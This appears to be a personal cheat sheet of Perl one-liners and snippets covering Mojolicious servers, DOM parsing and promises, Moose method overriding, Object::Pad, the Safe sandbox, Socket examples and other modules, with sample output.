perl -CSAD -Mojo -mcharnames -E "my $ua = Mojo::UserAgent->new; my $url = 'https://blog.emojipedia.org/whats-new-in-unicode-10/'; my $tx = $ua->get($url); die qq(Error getting) unless $tx->result->is_success; my $d = $tx->result->dom->find('ul:not([class]) li a')->map('text')->map(sub{ my $c = substr $_, 0, 1; my $ord = ord($c); $ord > 0x1F000 ? [ $c, $ord, charnames::viacode($ord) ] : () })->sort( sub{ $a->[1] <=> $b->[1] })->map(sub{ sprintf '%s (U+%05X) %s', $_->@* }) ; say for @$d"
# Fetch latest unicode characters (Linux)
perl -CSAD -Mojo -mcharnames -E 'my $ua = Mojo::UserAgent->new; my $url = "https://blog.emojipedia.org/whats-new-in-unicode-10/"; my $tx = $ua->get($url); die qq(Error getting) unless $tx->result->is_success; my $d = $tx->result->dom->find("ul:not([class]) li a")->map("text")->map(sub{ my $c = substr $_, 0, 1; my $ord = ord($c); $ord > 0x1F000 ? [ $c, $ord, charnames::viacode($ord) ] : () })->sort( sub{ $a->[1] <=> $b->[1] })->map(sub{ sprintf "%s (U+%05X) %s", $_->@* }) ; say for @$d'
# Make the client mojo page auto reload/refresh
plugin 'AutoReload';
# Create a simple mojo server and connect to it.
perl -Mojo -E 'say a("/status" => {text => "Active!"})->start("daemon", "-l", "http://*:8088")'
perl -Mojo -E 'a("/hello" => { text => "Welcome!" } )->start' get /hello
#
perl -Mojo -E 'a("/hello" => { text => "Welcome!" } )->start' daemon
perl -Mojo -E 'say a("/hello" => {text => "Hello Mojo!"})->start("daemon")'
perl -Mojo -E 'say a("/hello" => {text => "Hello Mojo!"})->start("daemon", "-l", "http://*:8080")'
mojo get http://127.0.0.1:3000/
#
# View local files on an endpoint:
perl -Mojo -E 'say a("/" => {text => "Hello Mojo!"}); a("ls" => sub{ my @files = glob "*/*"; $_->render( json => \@files) } )->start("daemon")'
mojo get http://127.0.0.1:3000/ls
#
# Show a message on connection.
perl -Mojo -E 'a("/" => sub{ say $_->req->to_string; $_->render( text => "123") })->start' daemon
# View available routes in a mojo server
perl -Mojo -E 'a("/hello" => { text => "Welcome!" } )->start' routes
# Easily create several routes.
perl -Mojo -E 'a "/" => {text => "Main"}; a("/hello" => {text => "Hello"})->start' daemon
# Use text in a CSS selector in Mojo.
perl -Mojo -E 'my $x = x("<A><B>Text1</B></A><A><B>Text2</B></A>"); say $x->at("b:text(Text2)")'
perl -Mojo -E 'my $x = x("<A><B>Text1</B></A><A><B>Text2</B></A>"); say $x->at("a:has(b:text(Text2))")'
perl -Mojo -E 'my $x = x("<A><B>Text1</B></A><A><B>Text2</B></A>"); say $x->at("a:has(b:text(/Text2/))")'
#############################################################
## Perl Modules - Mojo::Base
#############################################################
# Create accessor methods (like Mojo::Base::attr)
sub _has {
no strict 'refs';
for my $attr ( @_ ) {
*$attr = sub {
return $_[0]{$attr} if @_ == 1; # Get: return $self-<{$attr}
$_[0]{$attr} = $_[1]; # Set: $self->{$attr} = $val
$_[0]; # return $self
};
}
}
_has qw(
path
lol
tree
class_is_path
);
#############################################################
## Perl Modules - Mojo::ByeStream
#############################################################
# Perl Modules - Mojo::ByeStream
# Trying out various encryption algorythms.
perl -Me -e 'say b("abc")->$_ for qw( md5_sum sha1_sum hmac_sha1_sum )'
900150983cd24fb0d6963f7d28e17f72
a9993e364706816aba3e25717850c26c9cd0d89d
cc47e3c0aa0c2984454476d061108c0b110177ae
# Layman's md5 sum:
perl -E 'for(unpack "C32", "an apple a day"){ $s += $_} say $s'
1248
perl -E 'say unpack "%C*", "an apple a day"'
1248
#
# Better ways
perl -Me -e 'say b("an apple a day")->md5_sum'
9f610f0ad8824fb30a086186063e8530
#############################################################
## Perl Modules - Mojo::DOM
#############################################################
# Parsing HTML using regex vs Mojo::DOM
https://mojolicious.io/blog/2018/12/05/compound-selectors/
# Generate html tags using Mojo::DOM. (root,append)
perl -Mojo -E 'my $html = x(); $html->append_content("<a>"); $html->at("a")->attr("target" => "_blank"); say $html'
perl -MMojo::DOM -E 'my $html = Mojo::DOM->new; $html->append_content("<a>"); $html->at("a")->attr("target" => "_blank"); say $html'
# <a target="_blank"></a>
# Generate html tags using Mojo::DOM. (snippet)
perl -MMojo::DOM -E 'my $html = Mojo::DOM->new(qq(<a href="path" >)); $html->at("a")->attr("target" => "_blank"); say $html'
# <a href="path" target="_blank"></a>
# Generate html tags using Mojo::DOM. (conditional)
perl -MMojo::DOM -E 'my $html = Mojo::DOM->new(qq(<a href="path" >)); my $a = $html->at("a"); if(defined $a->attr("href")){ $a->attr("target" => "_blank") } say $html'
# <a href="path" target="_blank"></a>
# Difference between TAG:nth-child(N) and TAG:nth-of-type(N)
# nth-child - positional check first, then TAG check:
#
perl -Mojo -E 'my $dom = x(q(<ul class="clss"> <li>item1</li> <p>para</p> <li>item2</li> </ul>)); say $dom->at("ul > :nth-child(2)")'
# <p>para</p>
#
perl -Mojo -E 'my $dom = x(q(<ul class="clss"> <li>item1</li> <p>para</p> <li>item2</li> </ul>)); say $dom->at("ul > li:nth-child(2)")'
# undef
# Difference between TAG:nth-child(N) and TAG:nth-of-type(N)
# nth-of-type - TAG check first, then positional check.
# if the TAG is not specified, the first TAG found is used.
#
perl -Mojo -E 'my $dom = x(q(<ul class="clss"> <li>item1</li> <p>para</p> <li>item2</li> </ul>)); say $dom->at("ul > li:nth-of-type(2)")'
# <li>item2</li>
#
perl -Mojo -E 'my $dom = x(q(<ul class="clss"> <p>para1</p> <li>item1</li> <p>para2</p> <li>item2</li> </ul>)); say $dom->at("ul > :nth-of-type(2)")'
<p>para2</p>
# Xml to struct in perl
#
+ #!/bin/env perl
+ use feature 'say';
+ use ojo;
+ my $x = x f( shift )->slurp;
+ my $contact = $x->at( "contact" );
+ my $struct = {
+ email => $contact->at( "workplaceemailuri" )->text,
+ first_name => $contact->at( "givenname" )->text,
+ last_name => $contact->at( "familyname" )->text,
+ };
+ say r $struct;
# Get internal strings in html.
perl -MMojo::DOM -E 'my $html_string = "<div><span>Hey </span><span>there!</span></div>"; my $html = Mojo::DOM->new($html_string); say $html->at("div")->all_text'
Hey there!
# Anchor tag/element to the start of the document/root (^)
perl -Mojo -E 'my $x = x f(shift)->slurp; say "[$_]\n\n" for $x->find("feed:root > entry")->each' contacts2.xml
#############################################################
## Perl Modules - Mojo::File
#############################################################
# Pretty print json data to a file
package Mojo::File {
use Mojo::Base qw/ -strict -signatures /;
use Mojo::JSON qw(j);
use Encode qw/ encode /;
sub spurt_json ( $self, $struct ) {
my $string = j $struct;
my $_pretty_json = qx(echo '$string' | jq .);
my $pretty_json = encode( "UTF-8", $_pretty_json );
$self->spurt( $pretty_json );
}
}
# Find a path given a class name.
# Alternative to "perldoc -l class".
perl -MMojo::File=path -MMojo::Util=class_to_path -E '$p = class_to_path "Mojo::UserAgent"; for ( @INC ) { $p2 = path($_,$p); if(-e $p2){ say $p2; lat } }'
#############################################################
## Perl Modules - Mojo::IOLoop
#############################################################
# Run Something every few seconds.
perl -Mojo -E 'my $ioloop = a->ua->ioloop; my $n; $ioloop->recurring(2 => sub{ say "hey"; $ioloop->stop if $n++ > 2 } ); $ioloop->start'
#############################################################
## Perl Modules - Mojo::MemoryMap
#############################################################
# Share data/structures between processes.
perl -Mojo -MMojo::MemoryMap -E 'my $map = Mojo::MemoryMap->new; my $w = $map->writer; say r $w->fetch; $w->change(sub{ $_->{abc} = 123 }); say r $w->fetch'
{}
{
"abc" => 123
}
#############################################################
## Perl Modules - Mojo::Parameters
#############################################################
# Access the contents of an array like a hash by key.
perl -MMojo::Util=dumper -E '@a=qw/a 1 b 2 c 3/; %h=@a; say dumper \%h'
#
# This might be more efficient for bigger lists.
perl -MMojo::Parameters -MMojo::Util=dumper -E '@a=qw/a 1 b 2 c 3/; $params = Mojo::Parameters->new(@a); say dumper $params->param("b")'
perl -MMojo::Parameters -MMojo::Util=dumper -E '@a=qw/a 1 b 2 c 3/; $params = Mojo::Parameters->new(@a); say dumper $params->every_param("b")'
#############################################################
## Perl Modules - Mojo::Promise
#############################################################
# Promise usage
perl -Mojo -E "my $p = Mojo::Promise->new; $p->then(sub($robot,$human){ say qq(robot: $robot); say qq(human: $human); }, sub{ say qq!Rejected with: @_!} )->catch( sub{say qq!Error: @_!} ); $p->resolve(qw/Bender Fry Leela/); $p->wait"
# Simple Mojo promise example
perl -MMojo::Promise -E '$p = Mojo::Promise->new; $p->then(sub{say "OK"}); $p->resolve; $p->wait'
perl -MMojo::Promise -E '$p = Mojo::Promise->new; $p->then(sub{say "OK"}, sub{say "BAD"}); $p->resolve; $p->wait'
perl -MMojo::Promise -E '$p = Mojo::Promise->new; $p->then(sub{say "OK"}, sub{say "BAD"}); $p->reject; $p->wait'
# Simple Mojo promise example - timer (OK)/ timeout (BAD)
perl -MMojo::Promise -E "$p = Mojo::Promise->new; $p->then(sub{say 'OK'}, sub{say 'BAD'}); $p->timeout(1); $p->wait"
perl -MMojo::Promise -E "$p = Mojo::Promise->new; $p->then(sub{say 'OK'}, sub{say 'BAD'}); $p->timer(1); $p->wait"
# Chain of promises - short way, but not working for the 2nd level
perl -Mojo -MMojo::Promise -E "my $p = Mojo::Promise->new; $p->then(sub{say '1-OK'}, sub{say '1-BAD'})->then(sub{say '2-OK'}, sub{say '2-BAD'}); $p->reject; $p->wait"
# Chain of promises - long way
perl -Mojo -MMojo::Promise -E "my $p = Mojo::Promise->new; my $p2; $p2 = $p->then(sub{say '1-OK'; $p2->resolve}, sub{say '1-BAD'; $p2->reject}); $p2->then(sub{say '2-OK'}, sub{say '2-BAD'}); $p->reject; $p->wait"
# Using get_p (GET with a promise)
perl -Mojo -MMojo::Promise -E "my $ua = Mojo::UserAgent->new; $ua->get_p(shift)->then(sub{say qq(1-OK: @_)}, sub{say qq(1-BAD: @_)})->wait" mojolicious.org
# Create a list of promises and a top promise to watch them all
perl -MMojo::Promise -E "@p = map { my $p = Mojo::Promise->new; my $n = $_; $p->then(sub{say $n ** 2}, sub{ warn qq(Error in $n\n)}); $p } 1..10; $tp = Mojo::Promise->all(@p)->then(sub{say 'OK'}, sub{say 'NOK'}); $_->resolve for @p; $tp->wait"
#
# Reject a promise
perl -MMojo::Promise -E "@p = map { my $p = Mojo::Promise->new; my $n = $_; $p->then(sub{say $n ** 2}, sub{ warn qq(Error in $n\n)}); $p } 0..10; $tp = Mojo::Promise->all(@p)->then(sub{say 'OK'}, sub{say 'NOK'}); $p[4]->reject; $tp->wait"
#
# Try rejecting/approving
perl -Mojo -MMojo::Promise -E "my @p = map {my $n = $_; my $p = Mojo::Promise->new; $p->then(sub{say qq(P-OK: $n)}, sub{say qq(P-BAD: $n) }); $p } 0..2; my $hop = Mojo::Promise->all(@p)->then(sub{say 'OK'}, sub{say 'BAD'}); $p[$_]->reject for 0,1,2; $_->resolve for @p; $hop->wait"
# Mojo promise race - first one wins
perl -MMojo::Promise -E "@p = map { my $p = Mojo::Promise->new; my $n = $_; $p->then(sub{say $n ** 2}, sub{ warn qq(Error in $n\n)}); $p } 0..10; $race = Mojo::Promise->race(@p)->then(sub{say 'OK'}, sub{say 'NOK'}); $_->resolve for $p[4], @p; $race->wait"
# HigherOrder Promises
perl -Mojo -MMojo::Promise -E "my @p = map {Mojo::Promise->new} 1..3; my $hop = Mojo::Promise->new; $hop->all(@p)->then(sub{say qq(OK: @_)}, sub{say qq(BAD: @_)}); $hop->wait"
#
# Mojo::Promise::Role::HigherOrder - Not working
perl -MMojo::Promise -E "my @p = map {Mojo::Promise->new} 0..2; my $hop = Mojo::Promise->with_roles('+Any')->any(@p)->then(sub{say 'OK'}, sub{say 'BAD'}); $p[$_]->reject for 0,1,2; $_->resolve for @p; $hop->wait"
perl -MMojo::Promise -E "my @p = map {my $n = $_; my $p = Mojo::Promise->new; $p->then(sub{say qq(\nP-OK$n)}, sub{say qq(\nP-BAD$n) }); $p } 0..2; my $hop = Mojo::Promise->with_roles('+Any')->any(@p)->then(sub{say 'OK'}, sub{say qq(\nBAD)}); $p[$_]->reject for 0,1,2; $_->resolve for @p; $hop->wait"
# Check if a[href] urls in html files are accessbile
for file in *.xhtml; do echo; echo $file; my_get_ok $(perl -Mojo -E 'my $dom = x f(shift)->slurp; say for $dom->find("a[href]")->map("attr", "href")->each' "$file" | not -r '^\w+\.\w+$' | sort -u); done
my_html_links_check *.xhtml
#############################################################
## Perl Modules - Mojo::UserAgent
#############################################################
# Download a PDF file using Perl
perl -Mojo -E "my $ua = Mojo::UserAgent->new; my $url = Mojo::URL->new('https://hop.perl.plover.com/book/pdf/HigherOrderPerl.pdf'); my $f = $url->path->parts->[-1]; my $tx = $ua->get($url)->result->save_to($f)"
# Download a PDF file using Perl
# Will not download if it is already up to date. (by date)
perl -Mojo -E "my $ua = Mojo::UserAgent->new; my $url = Mojo::URL->new('https://hop.perl.plover.com/book/pdf/HigherOrderPerl.pdf'); my $f = $url->path->parts->[-1]; my $t = (stat($f))[9]; my $d = Mojo::Date->new($t); my $tx = $ua->get($url, {'If-Modified-Since' => $d}); say $tx->res->to_string"
# Create a Mojo Websocket and message hooks
perl -Mojo -E "my $ua = Mojo::UserAgent->new; say r $ua->websocket_p('ws://172.17.17.1:80/get_jobs')->then(sub($tx){ my $p = Mojo::Promise->new; $tx->on(finish => sub($tx,$code,$reason){ say qq(Closed with code $code); $p->resolve;}); $tx->on(message => sub($tx,$msg){ say qq(Message: $msg); $tx->finish }); $p })->catch(sub($err){warn qq(Error: $err)})->wait"
# Show all the redirects
perl -Mojo -E "my @txs = Mojo::UserAgent->new->max_redirects(10)->head(shift); while(my $tx = $txs[0]->previous){ unshift @txs, $tx } say $_->req->url for @txs" mojolicious.org
perl -Mojo -E "my $tx = Mojo::UserAgent->new->max_redirects(10)->head(shift); say $_->req->url for $tx->redirects->@*, $tx" mojolicious.org
#############################################################
## Perl Modules - Mojo::Util
#############################################################
# steady_time and promises
perl -Mojo -MMojo::Util=steady_time -E "sub st($m){printf qq(%-20s: %s\n), steady_time, $m} st('Before'); my $ua = Mojo::UserAgent->new; for my $url(@ARGV){ st(qq(Trying: $url)); state $cnt = 0; my $label = $cnt++; $ua->get($url => sub{ st(qq(Finished: $url)) }) } st('After'); END{ st('END') }" https://www.perl.com https://www.mojolicious.org
#############################################################
## Perl Modules - Mojolicious::Lite
#############################################################
# Mojolicious::Lite simple server example.
+ #!/usr/bin/env perl
+
+ use Mojolicious::Lite -signatures;
+ use Mojo::File qw( path );
+
+ my $file = "story/text.txt";
+
+ get "/" => { text => "REV 1" };
+ get "/page2" => { text => "Page2" };
+ get "/error" => sub { exit 1 };
+
+ get "/story" => sub ($c) {
+ $c->render( json => { story => path($file)->slurp } );
+ };
+ post "/story" => sub ($c) {
+ path($file)->spurt( $c->req->json->{text} );
+ $c->render( text => "Saved!" );
+ };
+
+ app->start("daemon");
#############################################################
## Perl Modules - Mojolicious::Plugin::Directory
#############################################################
# Similar to python's simple http server
python -m SimpleHTTPServer 8080
#
cpanm Mojolicious::Plugin::Directory
perl -Mojo -MCwd=getcwd -E 'a->plugin("Directory", root => getcwd())->start' daemon
#############################################################
## Perl Modules - Moose
#############################################################
# Override a method that is defined in a role (Moose)
$Self->meta->add_method(FinishHook => sub { say 'FINISH!!!' });
# Override a class method that is defined in a role (Moose,around)
# Approach 1 - get_method, add_method, execute.
#
+ my $Orig = $Meta->get_method($Method);
+ $Meta->add_method( $Method => sub {
+ my ($Self,%Param) = @_;
+ $Orig->execute($Self,%Param);
+ return 1;
+ });
# Override a class method that is defined in a role (Moose,around)
# Approach 2 - add_method_modifier.
#
+ add_method_modifier $Meta, 'around', [ $Method, sub {
+ my ($Orig,$Self,%Param) = @_;
+ $Self->$Orig(%Param);
+ return 1;
+ }];
# Override a class method that is defined in a role (Moose,around)
# Approach 3 - Moose::around meta.
#
+ # 'around' will not work since it uses currying and
+ # prepends the current class name.
+ # 'Moose::around' avoids currying.
+ Moose::around $Meta, $Method => sub {
+ my ($Orig,$Self,%Param) = @_;
+ $Orig->($Self,%Param);
+ return 1;
+ };
# Override a class method that is defined in a role (Moose,around)
# Approach 4 - Moose::around class.
#
+ Moose::around $Package, $Method => sub {
+ my ($Orig,$Self,%Param) = @_;
+ $Orig->($Self,%Param);
+ return 1;
+ };
# The basic Moose type hierarchy looks like this (perl,OOP):
Any
Item
Bool
Maybe[`a]
Undef
Defined
Value
Str
Num
Int
ClassName
RoleName
Ref
ScalarRef[`a]
ArrayRef[`a]
HashRef[`a]
CodeRef
RegexpRef
GlobRef
FileHandle
Object
#############################################################
## Perl Modules - mro
#############################################################
# As of v5.10, the traversal is configurable.
# In fancy terms, this is the method resolution order, which you select with the mro pragma (see Chapter 29):
# The C3 algorithm traverses @INC so it
# finds inherited methods that are closer
# in the inheritance graph. Said another way, that means that no superclass will be searched before one of its subclasses.
package Mule;
use mro 'c3';
use parent qw(Donkey Horse);
#############################################################
## Perl Modules - Net::SSLeay
#############################################################
# Installation is failing:
cpanm Net::SSLeay
# /usr/bin/ld: cannot find -lz: No such file or directory
# Install:
sudo apt install zlib1g-dev
#############################################################
## Perl Modules - O::Xref
#############################################################
# Debug a perl script. Find all usage of subroutines and variables
perl -MO=Xref fetch_excel.p | less
#############################################################
## Perl Modules - Object::Pad
#############################################################
# New perl OO example (with an without defaults).
perl -MObject::Pad -E 'class Point { has $x :param = 0; has $y :param = 0; method move ($dX, $dY) { $x += $dX; $y += $dY } method describe { say "A point at ($x,$y)" } } Point->new->describe'
A point at (0,0)
perl -MObject::Pad -E 'class Point { has $x :param = 0; has $y :param = 0; method move ($dX, $dY) { $x += $dX; $y += $dY } method describe { say "A point at ($x,$y)" } } Point->new(x=>5, y=>6)->describe'
A point at (5,6)
# New perl OO example (BUILD phase, both)
perl -MObject::Pad -Mojo -E 'class My{ has $x :param; method Say { say "Say(): [@_] self=$self,x=$x"} BUILD { say "BUILD(): [@_]"; qw(x from_build) } sub BUILDARGS { say "BUILDARGS(): [@_]"; qw(x from_buildargs) }} my $s = My->new(x => "new_arg"); $s->Say("say input"); say r $s'
BUILDARGS(): [My x new_arg]
BUILD(): [x from_buildargs]
Say(): [say input] self=My=ARRAY(0xb400006faa2646b8),x=from_buildargs
bless( [
"from_buildargs"
], 'My' )
# New perl OO example (BUILD phase,BUILDARGS)
perl -MObject::Pad -Mojo -E 'class My{ has $x :param; method Say { say "Say(): [@_] self=$self,x=$x"} sub BUILDARGS { say "BUILDARGS(): [@_]"; qw(x from_buildargs) }} my $s = My->new(x => "new_arg"); $s->Say("say input"); say r $s'
BUILDARGS(): [My x new_arg]
Say(): [say input] self=My=ARRAY(0xb4000077e98fd6d8),x=from_buildargs
bless( [
"from_buildargs"
], 'My' )
# New perl OO example (BUILD phase,BUILD)
perl -MObject::Pad -Mojo -E 'class My{ has $x :param; method Say { say "Say(): [@_] self=$self,x=$x"} BUILD { say "BUILD(): [@_]"; qw(x from_build) } } my $s = My->new(x => "new_arg"); $s->Say("say input"); say r $s' BUILD(): [x new_arg]
Say(): [say input] self=My=ARRAY(0xb4000079688b76d8),x=new_arg
bless( [
"new_arg"
], 'My' )
# New perl OO example (BUILD ADJUST phases)
perl -MObject::Pad -Mojo -E 'class My{ has $x :param; method Say { say "Say(): [@_] self=$self,x=$x"} BUILD { say "BUILD(): [@_]"; qw(x from_build) } sub BUILDARGS { say "BUILDARGS(): [@_]"; qw(x from_buildargs) } ADJUST { say "ADJUST(): [@_] self=$self"; qw(x from_adjust) } } my $s = My->new(x => "new_arg"); $s->Say("say input"); say r $s' BUILDARGS(): [My x new_arg]
BUILD(): [x from_buildargs]
ADJUST(): [HASH(0xb4000076ffc351f8)] self=My=ARRAY(0xb4000076ffc266d8)
Say(): [say input] self=My=ARRAY(0xb4000076ffc266d8),x=from_buildargs
bless( [
"from_buildargs"
], 'My' )
# New perl OO example (ADJUST strict phases)
perl -MObject::Pad -Mojo -E 'class My :strict(params) { has $x :param; method Say { say "Say(): [@_] self=$self,x=$x"} ADJUST { say "ADJUST(): [@_] self=$self"; qw(x from_adjust) } } my $s = My->new(x => "new_arg", x2 => 2 ); $s->Say("say input"); say r $s'
ADJUST(): [HASH(0xb400007a337fa2c0)] self=My=ARRAY(0xb400007a337e76b8)
Unrecognised parameters for My constructor: x2 at -e line 1.
#############################################################
## Perl Modules - overload
#############################################################
# Perl Modules - overload example code.
pod Set::Scalar::Base -e
#############################################################
## Perl Modules - PadWalker
#############################################################
# View the lexical variables in a scope.
perl -MPadWalker=peek_my -Mojo -E 'my $var=123; say r peek_my(0)'
{
"\$var" => \123
}
# Call a method of an object obtained from peek_my
perl -MDevel::Peek -MPadWalker=peek_my -Mojo -E '{ package My; sub Func {"My-Func"} } my $var = bless {}, "My"; my $obj_ref = peek_my(0)->{q($var)}; Dump $var; Dump $obj_ref; say $$obj_ref->Func'
# Update a lexical variable in a different scope.
my $lexicals = peek_my(1);
$lexicals->{'@arr'}->[1] = 4;
#############################################################
## Perl Modules - PadWalker::Eval
#############################################################
# Idea for a new module to run eval at a specific scope.
perl -E 'my $v=1; {package My; my $v=2; sub run_code { my ($code) = @_; my $v=3; eval $code }} my $v=4, say My::run_code(q($v))'
# PadWalker::Eval ideas.
sub eval ($string, $scope_level=0)
#############################################################
## Perl Modules - Parallel::ForkManager
#############################################################
# Simple exmplae of parallel processing
# (Perl Modules - Parallel::ForkManager)
# About 3 times slower than using threads!!!
perl -MParallel::ForkManager -E '
my $pm = Parallel::ForkManager->new(30);
for my $file (1..30) {
$pm->start and next;
say "Processing file $file";
sleep(1);
$pm->finish;
}
$pm->wait_all_children;
'
#############################################################
## Perl Modules - PerlIO
#############################################################
# View the encoding layers applied to a filehandle.
perl -E 'say for PerlIO::get_layers(*STDOUT)'
unix
perlio
perl -C -E 'say for PerlIO::get_layers(*STDOUT)'
unix
perlio
utf8
perl -CO -E 'say for PerlIO::get_layers(*STDOUT)'
unix
perlio
utf8
#############################################################
## Perl Modules - Pod::Usage
#############################################################
# Pull out a section from pod
perl -MPod::Usage=pod2usage -E "pod2usage(-input => `perldoc -l ojo`, -verbose => 99, -sections => '.*/x');"
# Pull out a sectin of perl documentation and store it in a variable
perl -MPod::Usage=pod2usage -E "open my $fh, '>', \my $out or die $!; pod2usage(-input => `perldoc -l ojo`, -verbose => 99, -sections => '.*/x', -output => $fh, exitval => 'NOEXIT'); say qq([$out])"
#############################################################
## Perl Modules - POSIX
#############################################################
# Perl Modules - POSIX
# exit vs _exit
# exit calls DESTROY, whereas, _exit does not:
perl -MPOSIX=_exit -E 'sub A::DESTROY { say "DEST" } my $v = bless {}, "A"; exit(0)'
DEST
perl -MPOSIX=_exit -E 'sub A::DESTROY { say "DEST" } my $v = bless {}, "A"; _exit(0)'
#############################################################
## Perl Modules - Role::Tiny
#############################################################
# Light alternative to Mojo::Base -role
package My::Role;
use Role::Tiny;
sub foo { ... }
sub bar { ... }
around baz => sub { ... };
#
package My::Class;
use Role::Tiny::With;
# bar gets imported, but not foo
with 'My::Role';
sub foo { ... }
#############################################################
## Perl Modules - Reply
#############################################################
# Using a read,evaluate,print,loop in perl.
# Not working with arrow keys.
perl -MReply -E 'Reply->new->run'
#############################################################
## Perl Modules - Safe
#############################################################
# Run code in a safer environment
perl -MSafe -le '$comp=Safe->new; $code=q(use v5.10; print "hello Safe!"); $comp->reval($code) or die $@'
'require' trapped by operation mask at (eval 5) line 1.
# Safely run substitution.
# Prevents running other commands (like unlink).
perl -MSafe -E '$_ = "abc"; my $comp = Safe->new; $comp->reval(q(s/./print 123/e)); say $@ if $@; say'
'print' trapped by operation mask at (eval 7) line 1.
abc
perl -MSafe -E '$_ = "abc"; my $comp = Safe->new; $comp->reval(q(s/./print 123/)); say $@ if $@; say'
print 123bc
# Safely run substitution.
# Share/permit a global variable.
perl -MSafe -E 'our $var = "abc"; my $comp = Safe->new; $comp->share(q($var)); $comp->reval(q($var =~ s/./print 123/)); say $@ if $@; say $var'
print 123bc
perl -MSafe -E 'our $var = "abc"; my $comp = Safe->new; $comp->share(q($var)); $comp->reval(q($var =~ s/./print 123/e)); say $@ if $@; say $var'
'print' trapped by operation mask at (eval 7) line 1.
abc
perl -MSafe -E '$_ = "abc"; my $comp = Safe->new; $comp->reval(q(s/.[/print 123/)); say $@=~s/ at .+ line .+//r if $@; say'
Unmatched [ in regex; marked by <-- HERE in m/.[ <-- HERE /
abc
# Permit actions to be done
perl -MSafe -le '$comp=Safe->new; $comp->permit("require"); $code=q(use v5.10; print "hello Safe!"); $comp->reval($code) or die $@'
'print' trapped by operation mask at (eval 5) line 2.
perl -MSafe -le '$comp=Safe->new; $comp->permit(qw(require print)); $code=q(use v5.10; print "hello Safe!"); $comp->reval($code) or die $@'
hello Safe!
# Find/View/see all Opcodes for Safe
perl -MOpcode=opdump -e opdump
# Find/View/see all Opcodes for Safe that include a string
perl -MOpcode=opdump -e 'opdump shift' item
# Find Opcode for safe that fints a specific attribute
perl -MOpcode=opdump -e 'opdump shift' ATTRIBUTE
# Run code to evaluate arithemetic
perl -MSafe -le '$comp=Safe->new; $comp->deny(qw(:default)); $comp->permit(qw(padany lineseq const add leaveeval subtract)); while(<>){chomp; $res=$comp->reval($_) or warn $@ and next; print "$_ = $res"}'
#############################################################
## Perl Modules - Scalar::Util
#############################################################
# perl looks_like_number example.
perl -MScalar::Util=looks_like_number -E 'printf("%s: %s\n", $_, looks_like_number($_)) for qw/ 1 cat bat 1.5 1e10 4.5 fat /'
1: 1
cat:
bat:
1.5: 1
1e10: 1
4.5: 1
fat:
# Example of using a dualvar in perl.
use Scalar::Util 'dualvar';
my $name = dualvar 0, 'Fire and Lightning';
say 'Boolenan true' if !! $name;
say 'Numeric true' unless 0 + $name;
say 'String true' if '' . $name;
#############################################################
## Perl Modules - Set::Scalar
#############################################################
# Install library to work with sets
sudo apt-get install libset-scalar-perl
# Working with sets in perl (examples)
perl -MSet::Scalar -le '$s1=Set::Scalar->new(qw/1 2 3/); $s2=Set::Scalar->new(qw/2 4 6/); print for $s1-$s2'
perl -MSet::Scalar -le '$s=Set::Scalar; $s1=$s->new(qw/1 2 3/); $s2=$s->new(qw/2 4 6/); print for $s1-$s2'
# Example of making a set: on init or interatively.
# Set is basically a hash (no doubled keys).
perl -MSet::Scalar -E '
my $s = Set::Scalar->new;
$s->insert($_) for 2,4,6,4;
say $s;
'
(2 4 6)
perl -MSet::Scalar -E '
my $s = Set::Scalar->new(2,4,6,4);
say $s;
'
(2 4 6)
# Get all set elements.
perl -MSet::Scalar -E '
my $s = Set::Scalar->new( 2,4,6,4 );
say for sort $s->elements;
'
2
4
6
#############################################################
## Perl Modules - Socket
#############################################################
# Simple client using perl Socket module.
use Socket;
my $socket;
my $port = 171717;
my $address = 'localhost';
my $packed_addr = pack_sockaddr_in(
$port,
inet_aton($address),
);
my $data;
socket $socket, AF_INET, SOCK_STREAM, 0;
connect $socket, $packed_addr or die $!;
while($data = <$socket>)
{
print "From Server - $data";
}
close $socket or die $!;
#############################################################
## Perl Modules - Storable
#############################################################
# Create a deep clone of a reference.
perl -MStorable=dclone -E 'my $h={a => [1..2]}; my $h2 = dclone($h); say $_, " ", $_->{a} for $h, $h2'
# Storable error: Max. recursion depth with nested structures exceeded
# Can update the Storable recursion limit with:
$Storable::recursion_limit = 10000;
$Storable::recursion_limit = -1; # Disables all limits.
#
# Create a heavily nested structure.
perl -Me -e '$d = [$d] for 1..1000000; clone $d'
Max. recursion depth with nested structures exceeded at -e line 1.
#
# Its about depth. This is ok:
perl -MStorable=dclone -e '$Storable::recursion_limit = 2; dclone( [ [ ], [], [], [] ] )'
#
# Whereas, this one is not:
perl -MStorable=dclone -e '$Storable::recursion_limit = 2; dclone( [ [ [] ] ] )'
Max. recursion depth with nested structures exceeded at -e line 1.
# Storable recursion limit seems to be about depth, not size, and not accumulative depth:
perl -MStorable=dclone -e '$Storable::recursion_limit = 3; dclone( [ [ [] ], [ 111, [222] ], [ [ 333, 444] ], [ [ 555, 666 ], [ 777, 888 ], { aaa => 999 }, [], [], [], [], [] ], [], 111 ], )'
# Simple server using perl Socket module.
use Socket;
my ($socket,$new_socket);
my $port = 171717;
my $address = 'localhost';
my $MAX_CONN = 10;
my $packed_addr = pack_sockaddr_in(
$port, inet_aton($address),
);
my $client_addr;
socket $socket, AF_INET, SOCK_STREAM, 0;
bind $socket, $packed_addr or die $!;
setsockopt $socket, SOL_SOCKET, SO_REUSEADDR, 1 or die $!;
listen $socket, $MAX_CONN or die $!;
print "Listening on port=$port, address=$address";
while($client_addr = accept $new_socket, $socket)
{
my $name = gethostbyaddr $client_addr, AF_INET;
print "Someone connected ($name)";
print $new_socket "I'm from the Server";
print $new_socket "I'm from the Server 2";
close $new_socket;
}
#############################################################
## Perl Modules - Subs::Trace
#############################################################
# WhoAmI to all functions in a class.
+ #!/usr/bin/perl
+
+ package Subs::Trace;
+
+ use v5.32;
+
+ sub import {
+ my $pkg = caller();
+
+ INIT {
+ no strict 'refs';
+
+ for my $func (sort keys %{"${pkg}::"}) {
+ my $code = ${"${pkg}::"}{$func}->*{CODE};
+ next if not $code;
+
+ ${"${pkg}::"}{$func}->** = sub {
+ say "-> $pkg\::$func";
+ &$code;
+ }
+ }
+ }
+ }
+
+
+ 1
# Subs::Trace use case (example)
perl -I. -E '{ package P; use Subs::Trace; sub F1{10} sub F2{20} } say P::F1() + P::F2()'
# Subs::Trace cpan modules.
cpanm Subs::Trace
perl -E '{ package P; sub F1{10} sub F2{20} sub F4{40} use Subs::Trace; sub F3{30} } say P::F1() + P::F2() + P::F3() + P::F4()'
-> P::F1
-> P::F2
-> P::F4
100
#############################################################
## Perl Modules - Template (Toolkit,tt)
#############################################################
# Concatenation operator in template tookkit (tt)
Data.var1 _ Data.var2
# Compare |html and |uri:
